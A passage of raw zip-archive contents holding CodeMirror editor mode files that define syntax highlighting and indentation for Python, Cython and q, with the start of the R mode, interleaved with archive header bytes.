"raise", "return",
                        "try", "while",
"with", "yield", "in"];
  var commonBuiltins = ["abs", "all", "any",
"bin", "bool", "bytearray",
"callable", "chr",
                        "classmethod", "compile",
"complex", "delattr", "dict",
"dir", "divmod",
                        "enumerate", "eval",
"filter", "float", "format",
"frozenset",
                        "getattr", "globals",
"hasattr", "hash", "help", "hex",
"id",
                        "input", "int",
"isinstance", "issubclass", "iter",
"len",
                        "list", "locals",
"map", "max", "memoryview", "min",
"next",
                        "object", "oct",
"open", "ord", "pow", "property",
"range",
                        "repr", "reversed",
"round", "set", "setattr", "slice",
                        "sorted", "staticmethod",
"str", "sum", "super", "tuple",
                        "type", "vars",
"zip", "__import__", "NotImplemented",
                        "Ellipsis", "__debug__"];
  CodeMirror.registerHelper("hintWords", "python",
commonKeywords.concat(commonBuiltins));

  function top(state) {
    return state.scopes[state.scopes.length - 1];
  }

  CodeMirror.defineMode("python", function(conf, parserConf) {
    var ERRORCLASS = "error";

    var delimiters = parserConf.delimiters || parserConf.singleDelimiters
|| /^[\(\)\[\]\{\}@,:`=;\.\\]/;
    //               (Backwards-compatibility with old, cumbersome config
system)
    var operators = [parserConf.singleOperators,
parserConf.doubleOperators, parserConf.doubleDelimiters,
parserConf.tripleDelimiters,
                     parserConf.operators ||
/^([-+*/%\/&|^]=?|[<>=]+|\/\/=?|\*\*=?|!=|[~!@]|\.\.\.)/]
    for (var i = 0; i < operators.length; i++) if (!operators[i])
operators.splice(i--, 1)

    var hangingIndent = parserConf.hangingIndent || conf.indentUnit;

    var myKeywords = commonKeywords, myBuiltins = commonBuiltins;
    if (parserConf.extra_keywords != undefined)
      myKeywords = myKeywords.concat(parserConf.extra_keywords);

    if (parserConf.extra_builtins != undefined)
      myBuiltins = myBuiltins.concat(parserConf.extra_builtins);

    var py3 = !(parserConf.version && Number(parserConf.version)
< 3)
    if (py3) {
      // since http://legacy.python.org/dev/peps/pep-0465/ @ is also an
operator
      var identifiers = parserConf.identifiers||
/^[_A-Za-z\u00A1-\uFFFF][_A-Za-z0-9\u00A1-\uFFFF]*/;
      myKeywords = myKeywords.concat(["nonlocal",
"False", "True", "None", "async",
"await"]);
      myBuiltins = myBuiltins.concat(["ascii", "bytes",
"exec", "print"]);
      var stringPrefixes = new
RegExp("^(([rbuf]|(br)|(fr))?('{3}|\"{3}|['\"]))",
"i");
    } else {
      var identifiers = parserConf.identifiers|| /^[_A-Za-z][_A-Za-z0-9]*/;
      myKeywords = myKeywords.concat(["exec",
"print"]);
      myBuiltins = myBuiltins.concat(["apply",
"basestring", "buffer", "cmp",
"coerce", "execfile",
                                      "file", "intern",
"long", "raw_input", "reduce",
"reload",
                                      "unichr",
"unicode", "xrange", "False",
"True", "None"]);
      var stringPrefixes = new
RegExp("^(([rubf]|(ur)|(br))?('{3}|\"{3}|['\"]))",
"i");
    }
    var keywords = wordRegexp(myKeywords);
    var builtins = wordRegexp(myBuiltins);

    // tokenizers
    function tokenBase(stream, state) {
      var sol = stream.sol() && state.lastToken != "\\"
      if (sol) state.indent = stream.indentation()
      // Handle scope changes
      if (sol && top(state).type == "py") {
        var scopeOffset = top(state).offset;
        if (stream.eatSpace()) {
          var lineOffset = stream.indentation();
          if (lineOffset > scopeOffset)
            pushPyScope(state);
          else if (lineOffset < scopeOffset && dedent(stream,
state) && stream.peek() != "#")
            state.errorToken = true;
          return null;
        } else {
          var style = tokenBaseInner(stream, state);
          if (scopeOffset > 0 && dedent(stream, state))
            style += " " + ERRORCLASS;
          return style;
        }
      }
      return tokenBaseInner(stream, state);
    }

    function tokenBaseInner(stream, state, inFormat) {
      if (stream.eatSpace()) return null;

      // Handle Comments
      if (!inFormat && stream.match(/^#.*/)) return
"comment";

      // Handle Number Literals
      if (stream.match(/^[0-9\.]/, false)) {
        var floatLiteral = false;
        // Floats
        if (stream.match(/^[\d_]*\.\d+(e[\+\-]?\d+)?/i)) { floatLiteral =
true; }
        if (stream.match(/^[\d_]+\.\d*/)) { floatLiteral = true; }
        if (stream.match(/^\.\d+/)) { floatLiteral = true; }
        if (floatLiteral) {
          // Float literals may be "imaginary"
          stream.eat(/J/i);
          return "number";
        }
        // Integers
        var intLiteral = false;
        // Hex
        if (stream.match(/^0x[0-9a-f_]+/i)) intLiteral = true;
        // Binary
        if (stream.match(/^0b[01_]+/i)) intLiteral = true;
        // Octal
        if (stream.match(/^0o[0-7_]+/i)) intLiteral = true;
        // Decimal
        if (stream.match(/^[1-9][\d_]*(e[\+\-]?[\d_]+)?/)) {
          // Decimal literals may be "imaginary"
          stream.eat(/J/i);
          // TODO - Can you have imaginary longs?
          intLiteral = true;
        }
        // Zero by itself with no other piece of number.
        if (stream.match(/^0(?![\dx])/i)) intLiteral = true;
        if (intLiteral) {
          // Integer literals may be "long"
          stream.eat(/L/i);
          return "number";
        }
      }

      // Handle Strings
      if (stream.match(stringPrefixes)) {
        var isFmtString =
stream.current().toLowerCase().indexOf('f') !== -1;
        if (!isFmtString) {
          state.tokenize = tokenStringFactory(stream.current(),
state.tokenize);
          return state.tokenize(stream, state);
        } else {
          state.tokenize = formatStringFactory(stream.current(),
state.tokenize);
          return state.tokenize(stream, state);
        }
      }

      for (var i = 0; i < operators.length; i++)
        if (stream.match(operators[i])) return "operator"

      if (stream.match(delimiters)) return "punctuation";

      if (state.lastToken == "." &&
stream.match(identifiers))
        return "property";

      if (stream.match(keywords) || stream.match(wordOperators))
        return "keyword";

      if (stream.match(builtins))
        return "builtin";

      if (stream.match(/^(self|cls)\b/))
        return "variable-2";

      if (stream.match(identifiers)) {
        if (state.lastToken == "def" || state.lastToken ==
"class")
          return "def";
        return "variable";
      }

      // Handle non-detected items
      stream.next();
      return inFormat ? null :ERRORCLASS;
    }

    function formatStringFactory(delimiter, tokenOuter) {
      while ("rubf".indexOf(delimiter.charAt(0).toLowerCase())
>= 0)
        delimiter = delimiter.substr(1);

      var singleline = delimiter.length == 1;
      var OUTCLASS = "string";

      function tokenNestedExpr(depth) {
        return function(stream, state) {
          var inner = tokenBaseInner(stream, state, true)
          if (inner == "punctuation") {
            if (stream.current() == "{") {
              state.tokenize = tokenNestedExpr(depth + 1)
            } else if (stream.current() == "}") {
              if (depth > 1) state.tokenize = tokenNestedExpr(depth - 1)
              else state.tokenize = tokenString
            }
          }
          return inner
        }
      }

      function tokenString(stream, state) {
        while (!stream.eol()) {
          stream.eatWhile(/[^'"\{\}\\]/);
          if (stream.eat("\\")) {
            stream.next();
            if (singleline && stream.eol())
              return OUTCLASS;
          } else if (stream.match(delimiter)) {
            state.tokenize = tokenOuter;
            return OUTCLASS;
          } else if (stream.match('{{')) {
            // ignore {{ in f-str
            return OUTCLASS;
          } else if (stream.match('{', false)) {
            // switch to nested mode
            state.tokenize = tokenNestedExpr(0)
            if (stream.current()) return OUTCLASS;
            else return state.tokenize(stream, state)
          } else if (stream.match('}}')) {
            return OUTCLASS;
          } else if (stream.match('}')) {
            // single } in f-string is an error
            return ERRORCLASS;
          } else {
            stream.eat(/['"]/);
          }
        }
        if (singleline) {
          if (parserConf.singleLineStringErrors)
            return ERRORCLASS;
          else
            state.tokenize = tokenOuter;
        }
        return OUTCLASS;
      }
      tokenString.isString = true;
      return tokenString;
    }

    function tokenStringFactory(delimiter, tokenOuter) {
      while ("rubf".indexOf(delimiter.charAt(0).toLowerCase())
>= 0)
        delimiter = delimiter.substr(1);

      var singleline = delimiter.length == 1;
      var OUTCLASS = "string";

      function tokenString(stream, state) {
        while (!stream.eol()) {
          stream.eatWhile(/[^'"\\]/);
          if (stream.eat("\\")) {
            stream.next();
            if (singleline && stream.eol())
              return OUTCLASS;
          } else if (stream.match(delimiter)) {
            state.tokenize = tokenOuter;
            return OUTCLASS;
          } else {
            stream.eat(/['"]/);
          }
        }
        if (singleline) {
          if (parserConf.singleLineStringErrors)
            return ERRORCLASS;
          else
            state.tokenize = tokenOuter;
        }
        return OUTCLASS;
      }
      tokenString.isString = true;
      return tokenString;
    }

    function pushPyScope(state) {
      while (top(state).type != "py") state.scopes.pop()
      state.scopes.push({offset: top(state).offset + conf.indentUnit,
                         type: "py",
                         align: null})
    }

    function pushBracketScope(stream, state, type) {
      var align = stream.match(/^([\s\[\{\(]|#.*)*$/, false) ? null :
stream.column() + 1
      state.scopes.push({offset: state.indent + hangingIndent,
                         type: type,
                         align: align})
    }

    function dedent(stream, state) {
      var indented = stream.indentation();
      while (state.scopes.length > 1 && top(state).offset >
indented) {
        if (top(state).type != "py") return true;
        state.scopes.pop();
      }
      return top(state).offset != indented;
    }

    function tokenLexer(stream, state) {
      if (stream.sol()) state.beginningOfLine = true;

      var style = state.tokenize(stream, state);
      var current = stream.current();

      // Handle decorators
      if (state.beginningOfLine && current == "@")
        return stream.match(identifiers, false) ? "meta" : py3 ?
"operator" : ERRORCLASS;

      if (/\S/.test(current)) state.beginningOfLine = false;

      if ((style == "variable" || style == "builtin")
          && state.lastToken == "meta")
        style = "meta";

      // Handle scope changes.
      if (current == "pass" || current == "return")
        state.dedent += 1;

      if (current == "lambda") state.lambda = true;
      if (current == ":" && !state.lambda &&
top(state).type == "py")
        pushPyScope(state);

      if (current.length == 1 && !/string|comment/.test(style)) {
        var delimiter_index = "[({".indexOf(current);
        if (delimiter_index != -1)
          pushBracketScope(stream, state,
"])}".slice(delimiter_index, delimiter_index+1));

        delimiter_index = "])}".indexOf(current);
        if (delimiter_index != -1) {
          if (top(state).type == current) state.indent =
state.scopes.pop().offset - hangingIndent
          else return ERRORCLASS;
        }
      }
      if (state.dedent > 0 && stream.eol() &&
top(state).type == "py") {
        if (state.scopes.length > 1) state.scopes.pop();
        state.dedent -= 1;
      }

      return style;
    }

    var external = {
      startState: function(basecolumn) {
        return {
          tokenize: tokenBase,
          scopes: [{offset: basecolumn || 0, type: "py", align:
null}],
          indent: basecolumn || 0,
          lastToken: null,
          lambda: false,
          dedent: 0
        };
      },

      token: function(stream, state) {
        var addErr = state.errorToken;
        if (addErr) state.errorToken = false;
        var style = tokenLexer(stream, state);

        if (style && style != "comment")
          state.lastToken = (style == "keyword" || style ==
"punctuation") ? stream.current() : style;
        if (style == "punctuation") style = null;

        if (stream.eol() && state.lambda)
          state.lambda = false;
        return addErr ? style + " " + ERRORCLASS : style;
      },

      indent: function(state, textAfter) {
        if (state.tokenize != tokenBase)
          return state.tokenize.isString ? CodeMirror.Pass : 0;

        var scope = top(state), closing = scope.type == textAfter.charAt(0)
        if (scope.align != null)
          return scope.align - (closing ? 1 : 0)
        else
          return scope.offset - (closing ? hangingIndent : 0)
      },

      electricInput: /^\s*[\}\]\)]$/,
      closeBrackets: {triples: "'\""},
      lineComment: "#",
      fold: "indent"
    };
    return external;
  });

  CodeMirror.defineMIME("text/x-python", "python");

  var words = function(str) { return str.split(" "); };

  CodeMirror.defineMIME("text/x-cython", {
    name: "python",
    extra_keywords: words("by cdef cimport cpdef ctypedef enum except
"+
                          "extern gil include nogil property public
"+
                          "readonly struct union DEF IF ELIF
ELSE")
  });

});
PKJ��[��=MM$codemirror/mode/python/python.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){return new
RegExp("^(("+a.join(")|(")+"))\\b")}function
c(a){return a.scopes[a.scopes.length-1]}var
d=b(["and","or","not","is"]),e=["as","assert","break","class","continue","def","del","elif","else","except","finally","for","from","global","if","import","lambda","pass","raise","return","try","while","with","yield","in"],f=["abs","all","any","bin","bool","bytearray","callable","chr","classmethod","compile","complex","delattr","dict","dir","divmod","enumerate","eval","filter","float","format","frozenset","getattr","globals","hasattr","hash","help","hex","id","input","int","isinstance","issubclass","iter","len","list","locals","map","max","memoryview","min","next","object","oct","open","ord","pow","property","range","repr","reversed","round","set","setattr","slice","sorted","staticmethod","str","sum","super","tuple","type","vars","zip","__import__","NotImplemented","Ellipsis","__debug__"];a.registerHelper("hintWords","python",e.concat(f)),a.defineMode("python",(function(g,h){function
i(a,b){var
d=a.sol()&&"\\"!=b.lastToken;if(d&&(b.indent=a.indentation()),d&&"py"==c(b).type){var
e=c(b).offset;if(a.eatSpace()){var f=a.indentation();return
f>e?m(b):f<e&&o(a,b)&&"#"!=a.peek()&&(b.errorToken=!0),null}var
g=j(a,b);return e>0&&o(a,b)&&(g+="
"+q),g}return j(a,b)}function j(a,b,c){if(a.eatSpace())return
null;if(!c&&a.match(/^#.*/))return"comment";if(a.match(/^[0-9\.]/,!1)){var
e=!1;if(a.match(/^[\d_]*\.\d+(e[\+\-]?\d+)?/i)&&(e=!0),a.match(/^[\d_]+\.\d*/)&&(e=!0),a.match(/^\.\d+/)&&(e=!0),e)return
a.eat(/J/i),"number";var
f=!1;if(a.match(/^0x[0-9a-f_]+/i)&&(f=!0),a.match(/^0b[01_]+/i)&&(f=!0),a.match(/^0o[0-7_]+/i)&&(f=!0),a.match(/^[1-9][\d_]*(e[\+\-]?[\d_]+)?/)&&(a.eat(/J/i),f=!0),a.match(/^0(?![\dx])/i)&&(f=!0),f)return
a.eat(/L/i),"number"}if(a.match(z)){return-1!==a.current().toLowerCase().indexOf("f")?(b.tokenize=k(a.current(),b.tokenize),b.tokenize(a,b)):(b.tokenize=l(a.current(),b.tokenize),b.tokenize(a,b))}for(var
g=0;g<s.length;g++)if(a.match(s[g]))return"operator";return
a.match(r)?"punctuation":"."==b.lastToken&&a.match(y)?"property":a.match(A)||a.match(d)?"keyword":a.match(B)?"builtin":a.match(/^(self|cls)\b/)?"variable-2":a.match(y)?"def"==b.lastToken||"class"==b.lastToken?"def":"variable":(a.next(),c?null:q)}function
k(a,b){function c(a){return function(b,e){var
f=j(b,e,!0);return"punctuation"==f&&("{"==b.current()?e.tokenize=c(a+1):"}"==b.current()&&(e.tokenize=a>1?c(a-1):d)),f}}function
d(d,g){for(;!d.eol();)if(d.eatWhile(/[^'"\{\}\\]/),d.eat("\\")){if(d.next(),e&&d.eol())return
f}else{if(d.match(a))return
g.tokenize=b,f;if(d.match("{{"))return
f;if(d.match("{",!1))return
g.tokenize=c(0),d.current()?f:g.tokenize(d,g);if(d.match("}}"))return
f;if(d.match("}"))return
q;d.eat(/['"]/)}if(e){if(h.singleLineStringErrors)return
q;g.tokenize=b}return
f}for(;"rubf".indexOf(a.charAt(0).toLowerCase())>=0;)a=a.substr(1);var
e=1==a.length,f="string";return d.isString=!0,d}function
l(a,b){function
c(c,f){for(;!c.eol();)if(c.eatWhile(/[^'"\\]/),c.eat("\\")){if(c.next(),d&&c.eol())return
e}else{if(c.match(a))return
f.tokenize=b,e;c.eat(/['"]/)}if(d){if(h.singleLineStringErrors)return
q;f.tokenize=b}return
e}for(;"rubf".indexOf(a.charAt(0).toLowerCase())>=0;)a=a.substr(1);var
d=1==a.length,e="string";return c.isString=!0,c}function
m(a){for(;"py"!=c(a).type;)a.scopes.pop();a.scopes.push({offset:c(a).offset+g.indentUnit,type:"py",align:null})}function
n(a,b,c){var
d=a.match(/^([\s\[\{\(]|#.*)*$/,!1)?null:a.column()+1;b.scopes.push({offset:b.indent+u,type:c,align:d})}function
o(a,b){for(var
d=a.indentation();b.scopes.length>1&&c(b).offset>d;){if("py"!=c(b).type)return!0;b.scopes.pop()}return
c(b).offset!=d}function p(a,b){a.sol()&&(b.beginningOfLine=!0);var
d=b.tokenize(a,b),e=a.current();if(b.beginningOfLine&&"@"==e)return
a.match(y,!1)?"meta":x?"operator":q;if(/\S/.test(e)&&(b.beginningOfLine=!1),"variable"!=d&&"builtin"!=d||"meta"!=b.lastToken||(d="meta"),"pass"!=e&&"return"!=e||(b.dedent+=1),"lambda"==e&&(b.lambda=!0),":"!=e||b.lambda||"py"!=c(b).type||m(b),1==e.length&&!/string|comment/.test(d)){var
f="[({".indexOf(e);if(-1!=f&&n(a,b,"])}".slice(f,f+1)),-1!=(f="])}".indexOf(e))){if(c(b).type!=e)return
q;b.indent=b.scopes.pop().offset-u}}return
b.dedent>0&&a.eol()&&"py"==c(b).type&&(b.scopes.length>1&&b.scopes.pop(),b.dedent-=1),d}for(var
q="error",r=h.delimiters||h.singleDelimiters||/^[\(\)\[\]\{\}@,:`=;\.\\]/,s=[h.singleOperators,h.doubleOperators,h.doubleDelimiters,h.tripleDelimiters,h.operators||/^([-+*\/%\/&|^]=?|[<>=]+|\/\/=?|\*\*=?|!=|[~!@]|\.\.\.)/],t=0;t<s.length;t++)s[t]||s.splice(t--,1);var
u=h.hangingIndent||g.indentUnit,v=e,w=f;void
0!=h.extra_keywords&&(v=v.concat(h.extra_keywords)),void
0!=h.extra_builtins&&(w=w.concat(h.extra_builtins));var
x=!(h.version&&Number(h.version)<3);if(x){var
y=h.identifiers||/^[_A-Za-z\u00A1-\uFFFF][_A-Za-z0-9\u00A1-\uFFFF]*/;v=v.concat(["nonlocal","False","True","None","async","await"]),w=w.concat(["ascii","bytes","exec","print"]);var
z=new
RegExp("^(([rbuf]|(br)|(fr))?('{3}|\"{3}|['\"]))","i")}else{var
y=h.identifiers||/^[_A-Za-z][_A-Za-z0-9]*/;v=v.concat(["exec","print"]),w=w.concat(["apply","basestring","buffer","cmp","coerce","execfile","file","intern","long","raw_input","reduce","reload","unichr","unicode","xrange","False","True","None"]);var
z=new
RegExp("^(([rubf]|(ur)|(br))?('{3}|\"{3}|['\"]))","i")}var
A=b(v),B=b(w);return{startState:function(a){return{tokenize:i,scopes:[{offset:a||0,type:"py",align:null}],indent:a||0,lastToken:null,lambda:!1,dedent:0}},token:function(a,b){var
c=b.errorToken;c&&(b.errorToken=!1);var d=p(a,b);return
d&&"comment"!=d&&(b.lastToken="keyword"==d||"punctuation"==d?a.current():d),"punctuation"==d&&(d=null),a.eol()&&b.lambda&&(b.lambda=!1),c?d+"
"+q:d},indent:function(b,d){if(b.tokenize!=i)return
b.tokenize.isString?a.Pass:0;var e=c(b),f=e.type==d.charAt(0);return
null!=e.align?e.align-(f?1:0):e.offset-(f?u:0)},electricInput:/^\s*[\}\]\)]$/,closeBrackets:{triples:"'\""},lineComment:"#",fold:"indent"}})),a.defineMIME("text/x-python","python");a.defineMIME("text/x-cython",{name:"python",extra_keywords:(function(a){return
a.split(" ")})("by cdef cimport cpdef ctypedef enum except
extern gil include nogil property public readonly struct union DEF IF ELIF
ELSE")})}));PKJ��[�D)���codemirror/mode/q/q.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("q",function(config){
  var indentUnit=config.indentUnit,
      curPunc,
     
keywords=buildRE(["abs","acos","aj","aj0","all","and","any","asc","asin","asof","atan","attr","avg","avgs","bin","by","ceiling","cols","cor","cos","count","cov","cross","csv","cut","delete","deltas","desc","dev","differ","distinct","div","do","each","ej","enlist","eval","except","exec","exit","exp","fby","fills","first","fkeys","flip","floor","from","get","getenv","group","gtime","hclose","hcount","hdel","hopen","hsym","iasc","idesc","if","ij","in","insert","inter","inv","key","keys","last","like","list","lj","load","log","lower","lsq","ltime","ltrim","mavg","max","maxs","mcount","md5","mdev","med","meta","min","mins","mmax","mmin","mmu","mod","msum","neg","next","not","null","or","over","parse","peach","pj","plist","prd","prds","prev","prior","rand","rank","ratios","raze","read0","read1","reciprocal","reverse","rload","rotate","rsave","rtrim","save","scan","select","set","setenv","show","signum","sin","sqrt","ss","ssr","string","sublist","sum","sums","sv","system","tables","tan","til","trim","txf","type","uj","ungroup","union","update","upper","upsert","value","var","view","views","vs","wavg","where","where","while","within","wj","wj1","wsum","xasc","xbar","xcol","xcols","xdesc","xexp","xgroup","xkey","xlog","xprev","xrank"]),
      E=/[|/&^!+:\\\-*%$=~#;@><,?_\'\"\[\(\]\)\s{}]/;
  function buildRE(w){return new
RegExp("^("+w.join("|")+")$");}
  function tokenBase(stream,state){
    var sol=stream.sol(),c=stream.next();
    curPunc=null;
    if(sol)
      if(c=="/")
        return(state.tokenize=tokenLineComment)(stream,state);
      else if(c=="\\"){
        if(stream.eol()||/\s/.test(stream.peek()))
          return
stream.skipToEnd(),/^\\\s*$/.test(stream.current())?(state.tokenize=tokenCommentToEOF)(stream):state.tokenize=tokenBase,"comment";
        else
          return state.tokenize=tokenBase,"builtin";
      }
    if(/\s/.test(c))
      return
stream.peek()=="/"?(stream.skipToEnd(),"comment"):"whitespace";
    if(c=='"')
      return(state.tokenize=tokenString)(stream,state);
    if(c=='`')
      return stream.eatWhile(/[A-Za-z\d_:\/.]/),"symbol";
    if(("."==c&&/\d/.test(stream.peek()))||/\d/.test(c)){
      var t=null;
      stream.backUp(1);
     
if(stream.match(/^\d{4}\.\d{2}(m|\.\d{2}([DT](\d{2}(:\d{2}(:\d{2}(\.\d{1,9})?)?)?)?)?)/)
      || stream.match(/^\d+D(\d{2}(:\d{2}(:\d{2}(\.\d{1,9})?)?)?)/)
      || stream.match(/^\d{2}:\d{2}(:\d{2}(\.\d{1,9})?)?/)
      || stream.match(/^\d+[ptuv]{1}/))
        t="temporal";
      else if(stream.match(/^0[NwW]{1}/)
      || stream.match(/^0x[\da-fA-F]*/)
      || stream.match(/^[01]+[b]{1}/)
      || stream.match(/^\d+[chijn]{1}/)
      || stream.match(/-?\d*(\.\d*)?(e[+\-]?\d+)?(e|f)?/))
        t="number";
     
return(t&&(!(c=stream.peek())||E.test(c)))?t:(stream.next(),"error");
    }
    if(/[A-Za-z]|\./.test(c))
      return
stream.eatWhile(/[A-Za-z._\d]/),keywords.test(stream.current())?"keyword":"variable";
    if(/[|/&^!+:\\\-*%$=~#;@><\.,?_\']/.test(c))
      return null;
    if(/[{}\(\[\]\)]/.test(c))
      return null;
    return"error";
  }
  function tokenLineComment(stream,state){
    return
stream.skipToEnd(),/\/\s*$/.test(stream.current())?(state.tokenize=tokenBlockComment)(stream,state):(state.tokenize=tokenBase),"comment";
  }
  function tokenBlockComment(stream,state){
    var f=stream.sol()&&stream.peek()=="\\";
    stream.skipToEnd();
    if(f&&/^\\\s*$/.test(stream.current()))
      state.tokenize=tokenBase;
    return"comment";
  }
  function tokenCommentToEOF(stream){return
stream.skipToEnd(),"comment";}
  function tokenString(stream,state){
    var escaped=false,next,end=false;
    while((next=stream.next())){
      if(next=="\""&&!escaped){end=true;break;}
      escaped=!escaped&&next=="\\";
    }
    if(end)state.tokenize=tokenBase;
    return"string";
  }
  function
pushContext(state,type,col){state.context={prev:state.context,indent:state.indent,col:col,type:type};}
  function
popContext(state){state.indent=state.context.indent;state.context=state.context.prev;}
  return{
    startState:function(){
      return{tokenize:tokenBase,
             context:null,
             indent:0,
             col:0};
    },
    token:function(stream,state){
      if(stream.sol()){
        if(state.context&&state.context.align==null)
          state.context.align=false;
        state.indent=stream.indentation();
      }
      //if (stream.eatSpace()) return null;
      var style=state.tokenize(stream,state);
     
if(style!="comment"&&state.context&&state.context.align==null&&state.context.type!="pattern"){
        state.context.align=true;
      }
     
if(curPunc=="(")pushContext(state,")",stream.column());
      else
if(curPunc=="[")pushContext(state,"]",stream.column());
      else
if(curPunc=="{")pushContext(state,"}",stream.column());
      else if(/[\]\}\)]/.test(curPunc)){
       
while(state.context&&state.context.type=="pattern")popContext(state);
       
if(state.context&&curPunc==state.context.type)popContext(state);
      }
      else
if(curPunc=="."&&state.context&&state.context.type=="pattern")popContext(state);
      else if(/atom|string|variable/.test(style)&&state.context){
        if(/[\}\]]/.test(state.context.type))
          pushContext(state,"pattern",stream.column());
        else
if(state.context.type=="pattern"&&!state.context.align){
          state.context.align=true;
          state.context.col=stream.column();
        }
      }
      return style;
    },
    indent:function(state,textAfter){
      var firstChar=textAfter&&textAfter.charAt(0);
      var context=state.context;
      if(/[\]\}]/.test(firstChar))
        while
(context&&context.type=="pattern")context=context.prev;
      var closing=context&&firstChar==context.type;
      if(!context)
        return 0;
      else if(context.type=="pattern")
        return context.col;
      else if(context.align)
        return context.col+(closing?0:1);
      else
        return context.indent+(closing?0:indentUnit);
    }
  };
});
CodeMirror.defineMIME("text/x-q","q");

});
PKJ��[��.Y��codemirror/mode/q/q.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("q",(function(a){function b(a,d){var
g=a.sol(),h=a.next();if(i=null,g){if("/"==h)return(d.tokenize=c)(a,d);if("\\"==h)return
a.eol()||/\s/.test(a.peek())?(a.skipToEnd(),/^\\\s*$/.test(a.current())?(d.tokenize=e)(a):d.tokenize=b,"comment"):(d.tokenize=b,"builtin")}if(/\s/.test(h))return"/"==a.peek()?(a.skipToEnd(),"comment"):"whitespace";if('"'==h)return(d.tokenize=f)(a,d);if("`"==h)return
a.eatWhile(/[A-Za-z\d_:\/.]/),"symbol";if("."==h&&/\d/.test(a.peek())||/\d/.test(h)){var
j=null;return
a.backUp(1),a.match(/^\d{4}\.\d{2}(m|\.\d{2}([DT](\d{2}(:\d{2}(:\d{2}(\.\d{1,9})?)?)?)?)?)/)||a.match(/^\d+D(\d{2}(:\d{2}(:\d{2}(\.\d{1,9})?)?)?)/)||a.match(/^\d{2}:\d{2}(:\d{2}(\.\d{1,9})?)?/)||a.match(/^\d+[ptuv]{1}/)?j="temporal":(a.match(/^0[NwW]{1}/)||a.match(/^0x[\da-fA-F]*/)||a.match(/^[01]+[b]{1}/)||a.match(/^\d+[chijn]{1}/)||a.match(/-?\d*(\.\d*)?(e[+\-]?\d+)?(e|f)?/))&&(j="number"),!j||(h=a.peek())&&!l.test(h)?(a.next(),"error"):j}return/[A-Za-z]|\./.test(h)?(a.eatWhile(/[A-Za-z._\d]/),k.test(a.current())?"keyword":"variable"):/[|\/&^!+:\\\-*%$=~#;@><\.,?_\']/.test(h)?null:/[{}\(\[\]\)]/.test(h)?null:"error"}function
c(a,c){return
a.skipToEnd(),/\/\s*$/.test(a.current())?(c.tokenize=d)(a,c):c.tokenize=b,"comment"}function
d(a,c){var d=a.sol()&&"\\"==a.peek();return
a.skipToEnd(),d&&/^\\\s*$/.test(a.current())&&(c.tokenize=b),"comment"}function
e(a){return a.skipToEnd(),"comment"}function f(a,c){for(var
d,e=!1,f=!1;d=a.next();){if('"'==d&&!e){f=!0;break}e=!e&&"\\"==d}return
f&&(c.tokenize=b),"string"}function
g(a,b,c){a.context={prev:a.context,indent:a.indent,col:c,type:b}}function
h(a){a.indent=a.context.indent,a.context=a.context.prev}var
i,j=a.indentUnit,k=(function(a){return new
RegExp("^("+a.join("|")+")$")})(["abs","acos","aj","aj0","all","and","any","asc","asin","asof","atan","attr","avg","avgs","bin","by","ceiling","cols","cor","cos","count","cov","cross","csv","cut","delete","deltas","desc","dev","differ","distinct","div","do","each","ej","enlist","eval","except","exec","exit","exp","fby","fills","first","fkeys","flip","floor","from","get","getenv","group","gtime","hclose","hcount","hdel","hopen","hsym","iasc","idesc","if","ij","in","insert","inter","inv","key","keys","last","like","list","lj","load","log","lower","lsq","ltime","ltrim","mavg","max","maxs","mcount","md5","mdev","med","meta","min","mins","mmax","mmin","mmu","mod","msum","neg","next","not","null","or","over","parse","peach","pj","plist","prd","prds","prev","prior","rand","rank","ratios","raze","read0","read1","reciprocal","reverse","rload","rotate","rsave","rtrim","save","scan","select","set","setenv","show","signum","sin","sqrt","ss","ssr","string","sublist","sum","sums","sv","system","tables","tan","til","trim","txf","type","uj","ungroup","union","update","upper","upsert","value","var","view","views","vs","wavg","where","where","while","within","wj","wj1","wsum","xasc","xbar","xcol","xcols","xdesc","xexp","xgroup","xkey","xlog","xprev","xrank"]),l=/[|\/&^!+:\\\-*%$=~#;@><,?_\'\"\[\(\]\)\s{}]/;return{startState:function(){return{tokenize:b,context:null,indent:0,col:0}},token:function(a,b){a.sol()&&(b.context&&null==b.context.align&&(b.context.align=!1),b.indent=a.indentation());var
c=b.tokenize(a,b);if("comment"!=c&&b.context&&null==b.context.align&&"pattern"!=b.context.type&&(b.context.align=!0),"("==i)g(b,")",a.column());else
if("["==i)g(b,"]",a.column());else
if("{"==i)g(b,"}",a.column());else
if(/[\]\}\)]/.test(i)){for(;b.context&&"pattern"==b.context.type;)h(b);b.context&&i==b.context.type&&h(b)}else"."==i&&b.context&&"pattern"==b.context.type?h(b):/atom|string|variable/.test(c)&&b.context&&(/[\}\]]/.test(b.context.type)?g(b,"pattern",a.column()):"pattern"!=b.context.type||b.context.align||(b.context.align=!0,b.context.col=a.column()));return
c},indent:function(a,b){var
c=b&&b.charAt(0),d=a.context;if(/[\]\}]/.test(c))for(;d&&"pattern"==d.type;)d=d.prev;var
e=d&&c==d.type;return
d?"pattern"==d.type?d.col:d.align?d.col+(e?0:1):d.indent+(e?0:j):0}}})),a.defineMIME("text/x-q","q")}));PKJ��[��gVVcodemirror/mode/r/r.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("wordChars", "r", /[\w.]/);

CodeMirror.defineMode("r", function(config) {
  function wordObj(words) {
    var res = {};
    for (var i = 0; i < words.length; ++i) res[words[i]] = true;
    return res;
  }
  var commonAtoms = ["NULL", "NA", "Inf",
